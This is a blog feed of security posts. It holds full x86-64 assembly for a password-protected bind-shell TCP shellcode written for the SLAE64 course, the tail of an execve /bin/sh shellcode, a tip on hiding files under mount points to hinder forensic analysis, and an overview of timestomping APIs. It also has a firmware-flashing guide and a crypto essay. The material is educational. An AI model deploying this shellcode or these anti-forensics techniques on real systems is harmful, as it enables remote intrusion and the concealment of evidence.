<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rbx</span>
<span class="w"> </span><span class="c1">; store /bin//sh address in RDI</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="c1">; Second NULL push</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="c1">; set RDX</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdx</span><span class="p">,</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="c1">; Push address of /bin//sh</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="c1">; set RSI</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="c1">; Call the Execve syscall</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">59</span>
<span class="w"> </span><span class="nf">syscall</span>
</code></pre></div></td></tr></table></div>
<p>This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>
<p>Student ID: SLAE64-XXXXX</p>SLAE64 #1 - Bindshell TCP shellcode2019-05-17T22:35:00+08:002019-05-17T22:35:00+08:00Benjamin Limtag:limbenjamin.com,2019-05-17:/articles/slae64-1-bindshell-tcp-shellcode.html<p>There are many SLAE64 blogposts each explaining their variant of shellcode out there. I thought I would join in the fun. This is my version of the Bindshell TCP shellcode. I'll keep it brief and only list down the interesting or unique points in my shellcode.</p>
<ol>
<li>Line 9: To reduce …</li></ol><p>There are many SLAE64 blogposts each explaining their variant of shellcode out there. I thought I would join in the fun. This is my version of the Bindshell TCP shellcode. I'll keep it brief and only list down the interesting or unique points in my shellcode.</p>
<ol>
<li>Line 9: To reduce size, I only assigned 2 bytes out of the 8 required for <code>new_sock_struct</code>, which is used to store the client socket descriptor. It will overwrite the <code>lea</code> instruction immediately after but since the instruction has already been executed, it does not matter.</li>
<li>Line 43: Used <code>shr</code> to zero out last 4 bytes of <code>bind_data_struct</code>. Required so that shell can listen on 0.0.0.0.</li>
<li>Line 105: I reused the first byte in <code>bind_data_struct</code> as a buffer to store the password input. By that time, the client has connected and the <code>bind_data_struct</code> is unused.</li>
<li>Line 112: Jump outside of code region if password fails, causing a segfault, save a few bytes compared to exiting gracefully. </li>
</ol>
<p>Total size: 175 bytes</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal"> 10</span>
<span class="normal"> 11</span>
<span class="normal"> 12</span>
<span class="normal"> 13</span>
<span class="normal"> 14</span>
<span class="normal"> 15</span>
<span class="normal"> 16</span>
<span class="normal"> 17</span>
<span class="normal"> 18</span>
<span class="normal"> 19</span>
<span class="normal"> 20</span>
<span class="normal"> 21</span>
<span class="normal"> 22</span>
<span class="normal"> 23</span>
<span class="normal"> 24</span>
<span class="normal"> 25</span>
<span class="normal"> 26</span>
<span class="normal"> 27</span>
<span class="normal"> 28</span>
<span class="normal"> 29</span>
<span class="normal"> 30</span>
<span class="normal"> 31</span>
<span class="normal"> 32</span>
<span class="normal"> 33</span>
<span class="normal"> 34</span>
<span class="normal"> 35</span>
<span class="normal"> 36</span>
<span class="normal"> 37</span>
<span class="normal"> 38</span>
<span class="normal"> 39</span>
<span class="normal"> 40</span>
<span class="normal"> 41</span>
<span class="normal"> 42</span>
<span class="normal"> 43</span>
<span class="normal"> 44</span>
<span class="normal"> 45</span>
<span class="normal"> 46</span>
<span class="normal"> 47</span>
<span class="normal"> 48</span>
<span class="normal"> 49</span>
<span class="normal"> 50</span>
<span class="normal"> 51</span>
<span class="normal"> 52</span>
<span class="normal"> 53</span>
<span class="normal"> 54</span>
<span class="normal"> 55</span>
<span class="normal"> 56</span>
<span class="normal"> 57</span>
<span class="normal"> 58</span>
<span class="normal"> 59</span>
<span class="normal"> 60</span>
<span class="normal"> 61</span>
<span class="normal"> 62</span>
<span class="normal"> 63</span>
<span class="normal"> 64</span>
<span class="normal"> 65</span>
<span class="normal"> 66</span>
<span class="normal"> 67</span>
<span class="normal"> 68</span>
<span class="normal"> 69</span>
<span class="normal"> 70</span>
<span class="normal"> 71</span>
<span class="normal"> 72</span>
<span class="normal"> 73</span>
<span class="normal"> 74</span>
<span class="normal"> 75</span>
<span class="normal"> 76</span>
<span class="normal"> 77</span>
<span class="normal"> 78</span>
<span class="normal"> 79</span>
<span class="normal"> 80</span>
<span class="normal"> 81</span>
<span class="normal"> 82</span>
<span class="normal"> 83</span>
<span class="normal"> 84</span>
<span class="normal"> 85</span>
<span class="normal"> 86</span>
<span class="normal"> 87</span>
<span class="normal"> 88</span>
<span class="normal"> 89</span>
<span class="normal"> 90</span>
<span class="normal"> 91</span>
<span class="normal"> 92</span>
<span class="normal"> 93</span>
<span class="normal"> 94</span>
<span class="normal"> 95</span>
<span class="normal"> 96</span>
<span class="normal"> 97</span>
<span class="normal"> 98</span>
<span class="normal"> 99</span>
<span class="normal">100</span>
<span class="normal">101</span>
<span class="normal">102</span>
<span class="normal">103</span>
<span class="normal">104</span>
<span class="normal">105</span>
<span class="normal">106</span>
<span class="normal">107</span>
<span class="normal">108</span>
<span class="normal">109</span>
<span class="normal">110</span>
<span class="normal">111</span>
<span class="normal">112</span>
<span class="normal">113</span>
<span class="normal">114</span>
<span class="normal">115</span>
<span class="normal">116</span>
<span class="normal">117</span>
<span class="normal">118</span>
<span class="normal">119</span>
<span class="normal">120</span>
<span class="normal">121</span>
<span class="normal">122</span>
<span class="normal">123</span>
<span class="normal">124</span>
<span class="normal">125</span>
<span class="normal">126</span>
<span class="normal">127</span>
<span class="normal">128</span>
<span class="normal">129</span>
<span class="normal">130</span>
<span class="normal">131</span>
<span class="normal">132</span>
<span class="normal">133</span>
<span class="normal">134</span>
<span class="normal">135</span>
<span class="normal">136</span>
<span class="normal">137</span>
<span class="normal">138</span>
<span class="normal">139</span>
<span class="normal">140</span>
<span class="normal">141</span>
<span class="normal">142</span>
<span class="normal">143</span>
<span class="normal">144</span>
<span class="normal">145</span>
<span class="normal">146</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="k">global</span><span class="w"> </span><span class="nv">_start</span>
<span class="k">section</span><span class="w"> </span><span class="nv">.text</span>
<span class="nl">_start:</span>
<span class="w"> </span><span class="nf">jmp</span><span class="w"> </span><span class="kc">$</span><span class="o">+</span><span class="mi">12</span>
<span class="w"> </span><span class="nl">bind_data_struct:</span><span class="w"> </span><span class="kd">db</span><span class="w"> </span><span class="mh">0x02</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,</span><span class="w"> </span><span class="mh">0x11</span><span class="p">,</span><span class="w"> </span><span class="mh">0x5c</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span>
<span class="w"> </span><span class="nl">new_sock_struct:</span><span class="w"> </span><span class="kd">db</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span>
<span class="nl">shell:</span>
<span class="w"> </span><span class="c1">; store data struct address in r8</span>
<span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="nb">r8</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="ow">rel</span><span class="w"> </span><span class="nv">bind_data_struct</span><span class="p">]</span>
<span class="w"> </span><span class="c1">; sock = socket(AF_INET, SOCK_STREAM, 0)</span>
<span class="w"> </span><span class="c1">; AF_INET = 2</span>
<span class="w"> </span><span class="c1">; SOCK_STREAM = 1</span>
<span class="w"> </span><span class="c1">; syscall number 41</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">41</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">dil</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">sil</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdx</span><span class="p">,</span><span class="w"> </span><span class="nb">rdx</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; copy socket descriptor to rdi for future use</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="c1">; server.sin_family = AF_INET </span>
<span class="w"> </span><span class="c1">; server.sin_port = htons(PORT)</span>
<span class="w"> </span><span class="c1">; server.sin_addr.s_addr = INADDR_ANY</span>
<span class="w"> </span><span class="c1">; bzero(&server.sin_zero, 8)</span>
<span class="w"> </span><span class="c1">; remove 0x1 by subtracting or shifting it off</span>
<span class="w"> </span><span class="nf">sub</span><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="p">[</span><span class="nb">r8</span><span class="o">+</span><span class="mi">1</span><span class="p">],</span><span class="w"> </span><span class="mh">0x1</span>
<span class="w"> </span><span class="nf">shr</span><span class="w"> </span><span class="kt">dword</span><span class="w"> </span><span class="p">[</span><span class="nb">r8</span><span class="o">+</span><span class="mi">4</span><span class="p">],</span><span class="w"> </span><span class="mh">0xff</span>
<span class="w"> </span><span class="c1">; bind(sock, (struct sockaddr *)&server, sockaddr_len)</span>
<span class="w"> </span><span class="c1">; syscall number 49</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">49</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">r8</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">dl</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; listen(sock, MAX_CLIENTS)</span>
<span class="w"> </span><span class="c1">; syscall number 50</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">50</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">sil</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)</span>
<span class="w"> </span><span class="c1">; syscall number 43</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">43</span>
<span class="w"> </span><span class="nf">add</span><span class="w"> </span><span class="nb">r8</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">r8</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="p">[</span><span class="nb">r8</span><span class="o">+</span><span class="mi">1</span><span class="p">],</span><span class="w"> </span><span class="mi">16</span>
<span class="w"> </span><span class="nf">add</span><span class="w"> </span><span class="nb">r8</span><span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdx</span><span class="p">,</span><span class="w"> </span><span class="nb">r8</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; store the client socket description </span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">r9</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="c1">; close parent</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; duplicate sockets</span>
<span class="w"> </span><span class="c1">; dup2 (new, old)</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">r9</span>
<span class="w"> </span><span class="c1">; STDIN</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">33</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; STDOUT</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">33</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">sil</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; STDERR</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">33</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">sil</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">;read password and store in first byte of r8</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="nb">r8</span><span class="p">]</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdx</span><span class="p">,</span><span class="w"> </span><span class="nb">rdx</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">dl</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; check password against expected password | , if fail jump out of bounds, should cause a segfault</span>
<span class="w"> </span><span class="nf">cmp</span><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="p">[</span><span class="nb">rsi</span><span class="p">],</span><span class="w"> </span><span class="mh">0x7C</span>
<span class="w"> </span><span class="nf">jnz</span><span class="w"> </span><span class="kc">$</span><span class="o">+</span><span class="mi">44</span>
<span class="w"> </span><span class="c1">; execve</span>
<span class="w"> </span><span class="c1">; First NULL push</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="c1">; push /bin//sh in reverse</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rbx</span><span class="p">,</span><span class="w"> </span><span class="mh">0x68732f2f6e69622f</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rbx</span>
<span class="w"> </span><span class="c1">; store /bin//sh address in RDI</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="c1">; Second NULL push</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="c1">; set RDX</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdx</span><span class="p">,</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="c1">; Push address of /bin//sh</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="c1">; set RSI</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsp</span>
<span class="w"> </span><span class="c1">; Call the Execve syscall</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">59</span>
<span class="w"> </span><span class="nf">syscall</span>
</code></pre></div></td></tr></table></div>
<p>This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>
<p>Student ID: SLAE64-XXXXX</p>Hiding files with mount2019-04-19T23:14:00+08:002019-04-19T23:14:00+08:00Benjamin Limtag:limbenjamin.com,2019-04-19:/articles/hiding-files-with-mount.html<p>When filesystems are mounted on a directory, existing files in that directory are hidden and will not be accessible until the mount point is removed. This is a relatively decent way to thwart or slow down online analysis of a system. A recursive listing of files will not reveal these …</p><p>When filesystems are mounted on a directory, existing files in that directory are hidden and will not be accessible until the mount point is removed. This is a relatively decent way to thwart or slow down online analysis of a system. A recursive listing of files will not reveal these hidden files. Most investigators would be hesitant to unmount live filesystems especially if running services have handles to files residing on that mount point. For bonus points, create a dummy file with the same name on the mounted filesystem... </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span></pre></div></td><td class="code"><div><pre><span></span><code>user@hostname:/tmp# mkdir folder
user@hostname:/tmp# echo "secret" > ./folder/hidden.txt
user@hostname:/tmp# ls ./folder/
hidden.txt
user@hostname:/tmp# mount /dev/sda1 /tmp/folder/
user@hostname:/tmp# ls ./folder/
bin build etc initrd.img lib32 libx32 media opt root sbin srv tmp var
boot dev home lib lib64 lost+found mnt proc run snap sys usr vmlinuz
user@hostname:/tmp# umount /tmp/folder/
user@hostname:/tmp# ls ./folder/
hidden.txt
user@hostname:/tmp#
</code></pre></div></td></tr></table></div>Flashing SwOS from Windows2019-03-25T23:13:00+08:002019-03-25T23:13:00+08:00Benjamin Limtag:limbenjamin.com,2019-03-25:/articles/flashing-swos-from-windows.html<p>I recently acquired a cheap used Mikrotik RB250GS to play with port mirroring and VLAN tagging. The switch came with the original SwOS firmware which was buggy to the extent that firmware upgrade over the web interface itself was failing. The other method to update the firmware is through BOOTP …</p><p>I recently acquired a cheap used Mikrotik RB250GS to play with port mirroring and VLAN tagging. The switch came with the original SwOS firmware which was buggy to the extent that firmware upgrade over the web interface itself was failing. The other method to update the firmware is through BOOTP. However, all <a href="https://wiki.mikrotik.com/wiki/SwOS/RB250_RB260#Reinstall_SwOS_firmware">guides</a> out there only show the instructions to perform the upgrade from a Mikrotik router. Since I did not own a Mikrotik router and did not want to shell out money for one, I had to figure out how to do it from Windows. </p>
<p>I used tftpd64 to perform the upgrade. The config file has been included below. Most of the parameters can be easily derived from the other guides and translated to tftpd64's config. However, there is one thus far undocumented attribute that I had to discover through logging and packet capture. The Mikrotik switch expects the firmware image file name to be <code>fmware</code>. You will need to rename the file name before placing it in the <code>BaseDirectory</code> in the config. The switch should now be able to find the file and perform the firmware upgrade successfully. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span>
<span class="normal">62</span>
<span class="normal">63</span>
<span class="normal">64</span>
<span class="normal">65</span>
<span class="normal">66</span>
<span class="normal">67</span>
<span class="normal">68</span>
<span class="normal">69</span>
<span class="normal">70</span>
<span class="normal">71</span>
<span class="normal">72</span>
<span class="normal">73</span>
<span class="normal">74</span>
<span class="normal">75</span>
<span class="normal">76</span>
<span class="normal">77</span></pre></div></td><td class="code"><div><pre><span></span><code>[DHCP]
Lease_NumLeases=1
IP_Pool=10.0.0.2
PoolSize=252
BootFile=
DNS=
DNS2=
WINS=
Mask=255.255.255.0
Gateway=10.0.0.1
Option42=
Option120=
DomainName=
Lease (minutes)=2880
AddOptionNumber1=0
AddOptionValue1=
AddOptionNumber2=0
AddOptionValue2=
AddOptionNumber3=0
AddOptionValue3=
AddOptionNumber4=0
AddOptionValue4=
AddOptionNumber5=0
AddOptionValue5=
AddOptionNumber6=0
AddOptionValue6=
AddOptionNumber7=0
AddOptionValue7=
AddOptionNumber8=0
AddOptionValue8=
AddOptionNumber9=0
AddOptionValue9=
AddOptionNumber10=0
AddOptionValue10=
Lease_0_MAC=00:00:00:00:00:01
Lease_0_IP=10.0.0.2
Lease_0_InitialOfferTime=02/18/2019/21:37:18
Lease_0_LeaseStartTime=06/10/2024/10:35:18
[TFTPD32]
BaseDirectory=C:\path\to\directory\here\file
TftpPort=69
Hide=0
WinSize=0
Negociate=0
PXECompatibility=1
DirText=0
ShowProgressBar=1
Timeout=3
MaxRetransmit=6
SecurityLevel=0
UnixStrings=1
Beep=0
VirtualRoot=1
MD5=0
LocalIP=
Services=15
TftpLogFile=
SaveSyslogFile=
PipeSyslogMsg=0
LowestUDPPort=0
HighestUDPPort=0
MulticastPort=0
MulticastAddress=
PersistantLeases=1
DHCP Ping=1
DHCP LocalIP=10.0.0.1
Max Simultaneous Transfers=100
UseEventLog=0
Console Password=tftpd32
Support for port Option=0
UseEventLog=0
Keep transfer Gui=5
Ignore ack for last TFTP packet=0
Enable IPv6=0
UnicastBOOTP=0
DHCP Double Answer=0
HttpBaseDirectory=.
</code></pre></div></td></tr></table></div>The Evolution of Crypto2019-02-06T08:27:00+08:002019-02-06T08:27:00+08:00Benjamin Limtag:limbenjamin.com,2019-02-06:/articles/the-evolution-of-crypto.html<p>Crypto used to refer to cryptography, the study of protecting the confidentiality and integrity of information. It is one of the purest branches of computer security. Theoretical cryptography is almost fully governed by the laws of mathematics and physics. The only breakthrough possible is through the discovery of a faster …</p><p>Crypto used to refer to cryptography, the study of protecting the confidentiality and integrity of information. It is one of the purest branches of computer security. Theoretical cryptography is almost fully governed by the laws of mathematics and physics. The only breakthrough possible is through the discovery of a faster algorithm to solve an existing difficult mathematical problem or the invention of computers that are an order of magnitude faster than those today. Cryptography is rarely concerned with the more human matters. It does not discriminate between a terrorist encrypting messages or the military encrypting secret orders, and will gladly offer the same level of security to both. Modern cryptography is built on advanced mathematical concepts like modular arithmetic and elliptic curves. Introductory level cryptography modules are often offered only at final year undergraduate or postgraduate level. Needless to say, it is a field reserved for the most brilliant of minds.</p>
<p>Crypto today refers to cryptocurrency. Cryptocurrency relies on cryptography to provide confidentiality, integrity and non-repudiation. These are important properties that ensure the coins in your wallet stay safe, that wallet balances cannot be tampered with, and that transactions cannot be reversed. Unfortunately, this is where the similarities end. Cryptocurrency is almost fully governed by the laws of economics, that of supply and demand. It is marred by the greed and folly of humanity. Greedy exchange operators who run away with their client's money. Greedy investors who only look at the return on their investment. Foolish enthusiasts who worship crypto gods that predict the next hottest coin. Few in the cryptocurrency community truly understand the cryptographic primitives, the basic building blocks of cryptocurrency. The very sanctity of cryptography is being violated when they start rolling back the blockchain because of human errors, or mark certain inputs as stolen or tainted. </p>
<p>The recent <a href="https://www.bbc.com/news/world-us-canada-47123371">news</a> on Quadriga's founder's death locking up $140m brings this full circle. $140m has just been locked up in an encrypted hard disk. Your false prophets cannot save you now. Only the crypto gods of the old, those schooled in mathematics, low level hardware and firmware have a shot.</p>Timestomping Programmatically2019-01-27T10:18:00+08:002019-01-27T10:18:00+08:00Benjamin Limtag:limbenjamin.com,2019-01-27:/articles/timestomping-programmatically.html<p>Timestomping is a favourite topic of red teamers and forensic analysts. They often speak about the tools and powershell commands that can be used to do timestomping. How do these tools work? In the course of developing <a href="https://limbenjamin.com/pages/ntimetools.html">nTimetools</a>, I read up on the various APIs and the extent of modification …</p><p>Timestomping is a favourite topic of red teamers and forensic analysts. They often speak about the tools and powershell commands that can be used to do timestomping. How do these tools work? In the course of developing <a href="https://limbenjamin.com/pages/ntimetools.html">nTimetools</a>, I read up on the various APIs and the extent of modification/access these APIs allow. A brief overview before I dive into the specifics.</p>
<style>
th, td{
padding: 0.5em;
}
</style>
<table class="table" width="100%">
<thead>
<tr>
<th>API function</th>
<th>Type</th>
<th>Timestamp Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>SetFileTime</td>
<td>Win32 API</td>
<td>Creation, Last Access, Last Write Time</td>
</tr>
<tr>
<td>SetFileInformationByHandle</td>
<td>Win32 API</td>
<td>Creation, Last Access, Last Write, Change Time (1)</td>
</tr>
<tr>
<td>NtSetInformationFile</td>
<td>undocumented NT API</td>
<td>Creation, Last Access, Last Write, Change Time</td>
</tr>
<tr>
<td>CreateFile(.\PhysicalDrive0)</td>
<td>Win32 API-ish</td>
<td>All above $STD_INFO and others (e.g. $FILE_NAME) (2)</td>
</tr>
</tbody>
</table>
<ol>
<li>Metadata change time can be progammatically set, however it will be overwritten to current time as this operation is considered changing file metadata. </li>
<li>As of Windows Vista and Server 2008, Microsoft has <a href="https://support.microsoft.com/en-us/help/942448/changes-to-the-file-system-and-to-the-storage-stack-to-restrict-direct">blocked direct disk write to mounted volumes</a>. Hence, this will not work on the SYSTEM drive.</li>
</ol>
<h1>SetFileTime API</h1>
<p>This is the highest level API. It is rather uninteresting, as it does not allow us to modify the metadata change time. It will only be able to fool someone who uses <code>right click ->
Properties</code> to view the file timestamp information. Any further probing will reveal that the timestomping has been performed.</p>
<h1>SetFileInformationByHandle</h1>
<p><code>SetFileInformationByHandle</code> allows us to update the <code>_FILE_BASIC_INFORMATION</code> structure. Internally, I believe what happens is that this function calls the <code>NtSetInformationFile</code> function, after it has returned, it will update the <code>ChangeTime</code> timestamp to the current time. This behaviour is not good since we are trying to do timestomping, hence we have to go deeper.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span></pre></div></td><td class="code"><div><pre><span></span><code> typedef struct _FILE_BASIC_INFORMATION {
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
ULONG FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
</code></pre></div></td></tr></table></div>
<h1>NtSetInformationFile</h1>
<p><code>NtSetInformationFile</code> is an undocumented NT API. We cannot just import the library and call the function. In order to access the function, we will need to get the handle to <code>ntdll.dll</code> during runtime and get the process address for <code>NtSetInformationFile</code>. Once done, we can update the <code>_FILE_BASIC_INFORMATION</code> structure. <a href="https://limbenjamin.com/pages/ntimetools.html">nTimetools</a> uses this API. Based on my testing, we can modify the <code>ChangeTime</code> timestamp to any timestamp of our liking.</p>
<p><img alt="image" src="//limbenjamin.com/media/ntimetools2.png"></p>
<h1>CreateFile(.\PhysicalDrive0)</h1>
